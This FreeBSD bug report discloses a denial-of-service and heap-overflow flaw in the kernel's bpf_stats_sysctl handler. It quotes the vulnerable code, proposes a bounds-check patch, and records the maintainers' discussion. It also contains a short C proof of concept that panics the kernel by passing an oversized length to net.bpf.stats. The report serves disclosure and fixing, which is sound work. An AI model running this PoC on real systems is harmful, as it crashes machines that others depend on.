Bug 208985 - DoS / heap overflow in bpf_stats_sysctl
Summary: DoS / heap overflow in bpf_stats_sysctl
Status: New
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: CURRENT
Hardware: Any Any
: --- Affects Only Me
Assignee: freebsd-net (Nobody)
URL:
Keywords: patch
Depends on:
Blocks:
 
Reported: 2016-04-22 21:54 UTC by CTurt
Modified: 2016-10-07 15:06 UTC (History)
4 users (show)

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description CTurt 2016-04-22 21:54:22 UTC
The `sysctl` handler for `net.bpf.stats`, `bpf_stats_sysctl`, calls `malloc` with an unchecked user supplied size and the `M_WAITOK` flag.

sys/net/bpf.c:

static int
bpf_stats_sysctl(SYSCTL_HANDLER_ARGS)
{
	static const struct xbpf_d zerostats;
	struct xbpf_d *xbdbuf, *xbd, tempstats;
	int index, error;
	struct bpf_if *bp;
	struct bpf_d *bd;

	/*
	 * XXX This is not technically correct. It is possible for non
	 * privileged users to open bpf devices. It would make sense
	 * if the users who opened the devices were able to retrieve
	 * the statistics for them, too.
	 */
	error = priv_check(req->td, PRIV_NET_BPF);
	if (error)
		return (error);

	...

	xbdbuf = malloc(req->oldlen, M_BPF, M_WAITOK);
	BPF_LOCK();
	if (req->oldlen < (bpf_bpfd_cnt * sizeof(*xbd))) {
		BPF_UNLOCK();
		free(xbdbuf, M_BPF);
		return (ENOMEM);
	}
	index = 0;
	LIST_FOREACH(bp, &bpf_iflist, bif_next) {
		BPFIF_RLOCK(bp);
		/* Send writers-only first */
		LIST_FOREACH(bd, &bp->bif_wlist, bd_next) {
			xbd = &xbdbuf[index++];
			BPFD_LOCK(bd);
			bpfstats_fill_xbpf(xbd, bd);
			BPFD_UNLOCK(bd);
		}
		LIST_FOREACH(bd, &bp->bif_dlist, bd_next) {
			xbd = &xbdbuf[index++];
			BPFD_LOCK(bd);
			bpfstats_fill_xbpf(xbd, bd);
			BPFD_UNLOCK(bd);
		}
		BPFIF_RUNLOCK(bp);
	}
	BPF_UNLOCK();
	error = SYSCTL_OUT(req, xbdbuf, index * sizeof(*xbd));
	free(xbdbuf, M_BPF);
	return (error);
}

For the latest version of FreeBSD, the maximum impact of this is panic from supplying large enough sizes. For older releases of 64 bit FreeBSD (like 9.0) which truncate `malloc` sizes to 32 bit, a size like `0x100000004` will result in an allocation of 4 bytes, which will bypass the check for `(req->oldlen < (bpf_bpfd_cnt * sizeof(*xbd)))` and then cause heap overflow by the `bpfstats_fill_xbpf` calls.

Annoyingly, this function has a `priv_check` against `PRIV_NET_BPF`, even though it shouldn't! A comment in this function mentions that unprivileged users _should_ be able to call this function, and thus make use of the vulnerability:

"This is not technically correct. It is possible for non privileged users to open bpf devices. It would make sense if the users who opened the devices were able to retrieve the statistics for them, too."

Because of this the below code will only cause kernel panic when run as `root`:

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main(void) {
	int result;
	
	char *m = malloc(256);
	size_t l = 0x100000000;
	
	result = sysctlbyname("net.bpf.stats", m, &l, NULL, 0);
	
	printf("%d\n", result);
	printf("%d\n", errno);
	
	return 0;
}
Comment 1 CTurt 2016-04-22 21:59:14 UTC
To fix this bug, there should be a bound check on `req->oldlen` before calling `malloc`, such as the following:

	if (req->oldptr == NULL)
		return (SYSCTL_OUT(req, 0, bpf_bpfd_cnt * sizeof(*xbd)));
	if (bpf_bpfd_cnt == 0)
		return (SYSCTL_OUT(req, 0, 0));
+	if (req->oldlen > 0x1000)
+		return EINVAL;
	xbdbuf = malloc(req->oldlen, M_BPF, M_WAITOK);
Comment 2 csjp 2016-04-24 03:01:36 UTC
This thought had crossed my mind when I implemented this. This is one of the reasons I don't like the sysctl(2) interface for this sort of thing. It's also subject to race conditions when the number of BPF descriptors change after the size calculation but before we retrieve the data.

The main reason I didn't bound check the size was for two reasons: the amount of data to allocate is a function of the number of BPF descriptors that are allocated. There isn't a limit on this (outside of the file descriptor limitations).

The second reason you point out, is this operation requires privilege. The reason I make the statement in the comment is because although by default only root can open this device, it is possible (though not very likely) that the permissions were changed on the underlying BPF device node, resulting in a BPF descriptor being created by somebody who wasn't root.

I don't believe the patch as written is correct either, because there is no connection to this value and the number of descriptors which could be in use at the time the stats are retrieved. Having said that, I don't think its a bad idea to bounds check this value either.
Comment 3 CTurt 2016-04-24 07:03:24 UTC
Thanks for your response.

I firmly believe any `malloc` with an unchecked size from userland to absolutely be a bug. As demonstrated by my PoC code, when accessible, this can be used to at minimum panic a system. Even when accessible to root only, having a bug like this present makes the system slightly less stable, no matter how rarely it may occur.

It shouldn't really matter what requirements the function has; it is always better to fix it to eliminate the possibility of this becoming critical in the future if the code were ever to be altered. For example, you mention having interest in altering this code in the future such that under a rare circumstance, it would be accessible with normal user privileges.

My original patch set an arbitrary upper limit, which may not be appropriate. However, if this limit is either increased or changed to be variable, I would suggest removing the `M_WAITOK` flag and returning an error for when the call fails instead.